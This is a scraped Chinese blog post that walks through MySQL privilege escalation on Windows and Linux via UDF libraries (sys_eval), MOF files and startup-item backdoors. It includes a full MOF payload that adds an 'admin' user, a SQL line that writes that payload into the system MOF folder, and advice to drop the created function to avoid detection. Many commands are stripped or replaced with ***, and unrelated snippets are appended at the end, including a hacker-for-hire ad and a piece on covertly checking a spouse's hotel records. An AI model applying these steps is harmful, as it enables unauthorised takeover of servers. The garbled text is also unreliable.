提权总结以及各种利用姿势
windows+MYSQL+UDF提权
具有MySQL的root权限,且MySQL以system权限运行。
具有执行SQL语句的权限。
获取root密码的 *** :
查看数据库配置文件
关键字:、、、、、等
下载mysql安装路径下的数据文件
安装路径下的data目录中存放的是数据库的数据信息
root账号密码存储在mysql数据库下的user表中
完整路径=安装路径+
暴力破解
udf提权
mof提权
开机启动脚本(启动项提权)
原理
利用了目录下的文件
利用该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行
利用条件
只使用于windows系统,一般低版本系统才可以用,比如、
对目录有读写权限
可以找到一个可写目录,写入mof文件
提权 ***
在可写目录中上传mof文件。
把mof文件上传到
把这个文件复制到目录下
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'
将下面这段代码复制到mof后缀的文件中
?
# pragma namespace("\.\root\subscription")
?
instance of EventFilter as $EventFilter{ EventNamespace="Root\Cimv2"; Name="filtP2"; Query="Select * From InstanceModificationEvent "
?
"Where TargetInstance Isa "Win32_LocalTime" "
?
"And TargetInstance.Second=5";
?
QueryLanguage="WQL";
?
};
?
instance of ActiveScriptEventConsumer as $Consumer
?
{
?
Name="consPCSV2";
?
ScriptingEngine=" *** cript";
?
ScriptText=
?
"var WSH=new
?
ActiveXObject("WScript.Shell") WSH.run("net.exe user admin admin /add")";
?
};
?
instance of __FilterToConsumerBinding
?
{
?
Consumer=$Consumer;
?
Filter=$EventFilter;
?
};
把这个mof文件上传到目标机中,可以修改代码,进行命令执行。
目前mof提权 *** 用的比较少,建议使用udf脚本进行MySQL数据库提权。
补救措施
当发现服务器被使用mof提权,解决继续执行系统命令的 *** :
先停止winmgmt服务:
删除文件夹:
再重新启动winmgmt服务:
原理
UDF(User Defined Funtion)用户自定义函数,通过添加新的函数,对mysql服务器进行功能扩充。
信息收集
select version(); # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。
UDF可以理解为MySQL的函数库,可以利用udf定义的创建函数。想要利用udf,必须上传udf.dll作为udf的执行库。MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能。
利用条件
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建文件夹,然后将udf.dll导入到该目录。
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于目录,在windows server 2000下放置在目录。
掌握mysql数据库的root账户,从而拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。
基本步骤
DLL文件的获取 ***
在目录下,在Windows目录中有32位和64位的dll文件(MySQL位数)。
文件夹中的dll文件是通过异或编码的,可以使用进行解码
将解码后的DLL文件(包含用户自定义函数的DLL文件)上传到可写目录,再导入到中
将DLL中的函数引入到MySQL数据库中
创建自定义函数
创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll
注意:需要创建.dll文件中存在的函数,可以使用十六进制编辑器打开.dll文件,查看可以被创建的函数。
使用该函数去执行系统命令提权
查看当前用户权限
创建账号并提升为管理员权限
将之前引入的函数删除掉
防止被管理员发现,防止其他攻击者使用
简述
通过自定义库函数来实现执行任意的命令
包含用户自定义函数的文件为.so文件
要求
在my.ini的[mysqld]下,添加secure_file_priv="",不限制导入导出路径
具有数据库root账户的密码,且mysql数据库以root权限运行
具有sql语句的执行权限
导出目录可写
系统中的selinux处于关闭状态
提权过程
查找插件库的路径
得到的结果为:
Variable_name | Value |
---|---|
plugin_dir | /usr/lib64/mysql/plugin |
找到对应操作系统数据库的UDF库文件
下的文件
将so文件(UDF库文件)进行16进制编码
将so文件的内容解码,写入到mysql插件库目录中
查看udf库所支持的函数
注意:需要创建.so文件中存在的函数,可以使用十六进制编辑器打开.so文件,查看可以被创建的函数。
创建函数
写入之后,执行创建函数的命令,就会创建一个sys_eval的函数,用来执行系统命令,这个函数执行的系统命令全部都是system权限。
执行系统命令,提权
这个函数就可以执行系统命令,括号里输入系统命令即可。
查看当前用户权限
创建账号并提升为管理员权限
不需要判断mysql的版本,直接查看路径,直接写so文件,Linux里面的文件是so文件。
getshell之后,在终端输入whoami,发现只是apache用户权限。
寻找网站的数据库配置文件,查看数据库的账号密码,可以看到账号root密码root。
登录mysql数据库,输入查看plugin路径。
得到的结果为:
Variable_name | Value |
---|---|
plugin_dir | /usr/lib64/mysql/plugin |
我们把so文件进行16进制编码,再解码写入目录中,返回为true,写入成功。
写入之后,执行创建函数的命令,就会创建一个sys_eval的函数,用来执行系统命令,这个函数执行的系统命令全部都是system权限。
这个函数就可以执行系统命令,括号里输入系统命令即可。
利用MySQL,将后门写入开机启动项。同时因为是开机自启动,在写入之后,需要重启目标服务器,才可以运行。
在家玩电脑就能赚钱不是一个想象,对我们很多的人来说可能把这个想的太复杂了,在家赚钱都已经不是什么奇怪的事情,因为有很多的方法都可以实现在家轻松的赚钱,刘旭自媒体博客在这分享在家玩电脑就可以赚钱的八个方...
怎么找黑客帮忙找人靠谱的黑客联系方式五谷杂粮是哪些? 五谷杂粮是指水稻、小麦 、黄豆、苞米、甘薯 ,而习惯性地将米和面粉之外的谷物称之为粗粮,因此 五谷杂粮也特指农作物 。故一般觉得,五谷杂粮...
根据 Euromonitor 2020数据显示,我国化妆品市场现有规模约为5,000亿人民币,增速在双位数,是全球第二大化妆品消费国。即便在疫情冲击下,化妆品零售额增势依然迅猛,至2020 年9 月,...
图片来源:Pixabay.com 吃过晚饭,龙龙和隔壁家的小虎爷爷一起去公园散步。小虎爷爷就像他的名字一样,走起路来也虎虎生威,龙龙跟在后面,小跑着才能追上。不一会就累得喊休息。小虎爷爷回过头来...
每日好文 如何查询我的老婆开过房(查媳妇有木有和他人开过房纪录)媳妇没经自己愿意,擅自到找公安局的亲朋好友查我的开过房纪录,是不是违反规定。原本也不准备过去了。那她已已不信任感你呢,她那...
本文目录一览: 1、《赛博朋克2077》技能加点应该怎么加?有哪些值得推荐? 2、《赛博朋克2077》加点流派是什么? 3、《赛博朋克》属性点怎么加? 4、《赛博朋克2077》技能加点应该...